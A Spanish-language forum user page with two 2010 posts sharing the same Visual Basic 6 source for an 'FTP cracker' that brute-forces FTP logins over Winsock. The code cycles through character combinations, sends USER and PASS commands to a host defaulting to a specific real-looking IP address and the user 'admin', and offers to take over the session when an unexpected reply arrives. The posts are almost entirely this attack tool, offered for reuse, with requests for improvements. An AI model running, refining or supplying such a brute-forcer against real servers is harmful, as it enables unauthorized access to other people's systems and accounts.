Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - 79137913

#1361
Programación Visual Basic / FTP CRACKER
4 Agosto 2010, 17:23 PM
HOLA!!!

Hola amigos, estaba sin nada que hacer y me puse a programar un CRACKEADOR FTP por fuerza bruta en VB6, me puse a hacerlo por que no vi nada por la web :P, quisiera saber su opinion.

Bueno consiste en un form con:

  • Un textbox multilinea con scroll llamado inx
  • Un textbox normal llamado outx
  • Un timer llamado state
  • Un winsock llamado telnet


un FORM con Código:


Código (vb) [Seleccionar]

Public CT As Integer
Public FAILED As String
Public ACUSER As String
Public USER As String
Public CONTROL As Integer

Private Sub Form_Load()
    CONTROL = vbNo
    Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
    Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
    FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
    ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
    USER = InputBox("USUARIO", "INSERTE", "admin")
    Call BORRAR_VECTOR
    Call CONECTAR_TELNET
    STATE.Interval = 1000
End Sub

Private Sub CONECTAR_TELNET()
Telnet.Connect
CT = 0
End Sub

Private Sub Form_Resize()
    If Me.Height > 701 Then
        inx.Width = Me.Width
        inx.Height = Me.Height - 700
        outx.Width = Me.Width
        outx.Top = inx.Height
    End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
    Telnet.Close
    End
End Sub

Private Sub STATE_Timer()
    If Telnet.STATE <> 7 Then
        If Telnet.STATE <> 0 Then
            Telnet.Close
        End If
        Call CONECTAR_TELNET
    End If
End Sub

Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
    Dim strData As String
    Telnet.GetData strData
    inx.Text = inx.Text & strData
    If CONTROL = vbNo Then
        Call ANALIZAR(Mid(strData, 1, 3))
    End If
    If CT Mod 2 Then
        Call NUEVAPASS
            outx.Text = "pass " & PASS
            Call outx_KeyPress(vbKeyReturn)
            Else
            outx.Text = "user " & USER
            Call outx_KeyPress(vbKeyReturn)
    End If
End Sub

Private Sub outx_KeyPress(KeyAscii As Integer)
    If KeyAscii = vbKeyReturn Then
        Telnet.SendData outx.Text & vbCrLf
        outx.Text = ""
        outx.SetFocus
    End If
End Sub

Private Sub ANALIZAR(CODE As String)
    CT = CT + 1
    If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
        CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
    End If
End Sub







Y un MODULO con Código:

Código (vb) [Seleccionar]

Dim PASSNUM(17) As Integer
Dim PASSLET(17) As String
Public PASS As String

Public Sub BORRAR_VECTOR()
    PASSNUM(1) = 47
    For X = 2 To 16
        PASSNUM(X) = 0
    Next X
End Sub

Public Sub NUEVAPASS()
    PASSNUM(1) = PASSNUM(1) + 1
    Call ORDENAR
    Call CONVERTIR
    Call CONCATENAR
End Sub

Private Sub ORDENAR()
    For X = 1 To 16
        If PASSNUM(X) = 124 Then
            If PASSNUM(X + 1) = 0 Then
                PASSNUM(X + 1) = 47
            End If
            PASSNUM(X + 1) = PASSNUM(X + 1) + 1
        End If
    Next X
    If PASSNUM(17) = 1 Then
        MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"
        End
    End If
End Sub

Private Sub CONVERTIR()
    For X = 1 To 16
        If PASSNUM(X) <> 0 Then
            PASSLET(X) = Chr(PASSNUM(X))
        End If
    Next X
End Sub

Private Sub CONCATENAR()
    PASS = ""
    For X = 1 To 16
        PASS = PASS & PASSLET(X)
    Next X
End Sub





Díganme que les parece!
Y den opiniones para mejorarlo!





***************GRACIAS***************
#1362
HOLA!!!
Como andan, quisiera que me revisaran el codigo de un FTP CRACKER por medio de un winSOCK(telnet) que hice recien  .
El proyecto a mi parecer esta completo, consiste en un proyecto (disculpen la redundancia) con el componente winsock, un form y un modulo bas normal.

Dentro del form hay:
1 textbox multilinea llamado INx
1 texbox normal llamado OUTx
1 winsock llamado TELNET

les dejo aca el codigo que uso:

FORM:

Código (vb) [Seleccionar]

Public CT As Integer
Public FAILED As String
Public ACUSER As String
Public USER As String
Public CONTROL As Integer

Private Sub Form_Load()
   CONTROL = vbNo
   Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
   Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
   FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
   ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
   USER = InputBox("USUARIO", "INSERTE", "admin")
   Call BORRAR_VECTOR
   Telnet.Connect
End Sub

Private Sub Form_Resize()
   If Me.Height > 701 Then
       inx.Width = Me.Width
       inx.Height = Me.Height - 700
       outx.Width = Me.Width
       outx.Top = inx.Height
   End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
   Telnet.Close
   End
End Sub

Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
   Dim strData As String
   Telnet.GetData strData
   inx.Text = inx.Text & strData
   If CONTROL = vbNo Then
       Call ANALIZAR(Mid(strData, 1, 3))
   End If
   
   If CT Mod 2 Then
       Call NUEVAPASS
           outx.Text = "pass " & PASS
           Call outx_KeyPress(vbKeyReturn)
       Else
           outx.Text = "user " & USER
           Call outx_KeyPress(vbKeyReturn)
   End If
End Sub

Private Sub outx_KeyPress(KeyAscii As Integer)
   If KeyAscii = vbKeyReturn Then
       Telnet.SendData outx.Text & vbCrLf
       outx.Text = ""
       outx.SetFocus
   End If
End Sub

Private Sub ANALIZAR(CODE As String)
   CT = CT + 1
   If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
       CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
   End If
End Sub
.

MODULO:

Código (vb) [Seleccionar]

Dim PASSNUM(17) As Integer
Dim PASSLET(17) As String
Public PASS As String

Public Sub BORRAR_VECTOR()
   PASSNUM(1) = 47
   For X = 2 To 16
       PASSNUM(X) = 0
   Next X
End Sub

Public Sub NUEVAPASS()
   PASSNUM(1) = PASSNUM(1) + 1
   Call ORDENAR
   Call CONVERTIR
   Call CONCATENAR
End Sub

Private Sub ORDENAR()
   For X = 1 To 16
       If PASSNUM(X) = 124 Then
           If PASSNUM(X + 1) = 0 Then
               PASSNUM(X + 1) = 47
           End If
           PASSNUM(X + 1) = PASSNUM(X + 1) + 1
       End If
   Next X
   If PASSNUM(17) = 1 Then
       MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"
       End
   End If
End Sub

Private Sub CONVERTIR()
   For X = 1 To 16
       If PASSNUM(X) <> 0 Then
           PASSLET(X) = Chr(PASSNUM(X))
       End If
   Next X
End Sub

Private Sub CONCATENAR()
   PASS = ""
   For X = 1 To 16
       PASS = PASS & PASSLET(X)
   Next X
End Sub



Si quieren usar algo del codigo no hay problema, pero igual es muy rudimentario.(VB6 obvio).

El problema principal es que bueno, tardaria mucho pero en fin, es fuerza bruta y, aparte el servidor se dosconecta aleatoriamente entre el 3 y el 5 intento, y no avisa la desconeccion, entonces no puedo hacer una reconeccion.


P.D: Si ven que no tiene futuro lo que hago avisenme y denme una pequeña guia asi sigo ;) gracias.

***************GRACIAS DE ANTEMANO***************